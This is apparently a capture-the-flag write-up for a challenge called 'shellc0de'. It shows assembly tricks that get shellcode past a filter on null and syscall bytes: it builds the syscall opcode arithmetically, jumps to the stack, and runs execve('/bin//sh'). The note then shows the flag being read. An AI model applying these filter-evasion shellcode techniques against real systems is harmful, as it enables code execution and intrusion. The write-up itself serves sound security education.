

shellc0de

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Writeup :

Step 1 :

Check out shellc0de.c

```
if( shellcode[i] == '\x00' || shellcode[i] == '\x05' || shellcode[i] == '\x0f' ){  
    puts( "Oops" );  
    _exit(-1);  
}
```

We can't have null bytes, and syscall inside our shellcode

Step2 :

Bypass \x0f and \x05 by using arithmetic.

$0x50f = 0x40e + 0x101$

```
mov cx, 0x40e  
add cx, 0x101  
push cx
```

Step 3 :

Push the value and then mov rsp value to the

register.

Use jmp to jump to the location and it will execute
syscall

```
push cx  
mov R10, rsp  
jmp R10
```

Step 4 :

Remember to first push rax to make the stack
aligned

```
SHELLCODE = ''  
push rax
```

Step 5 :

To bypass null bytes, we use mov al, 59 instead of
mov rax, 0x3b.

And also use '/bin//sh' instead of '/bin/sh' to fill
the entire register.

Step 6 :

Get flag

```
$ cat flag  
FLAG{Shellc0ding f0r Syscall :P}
```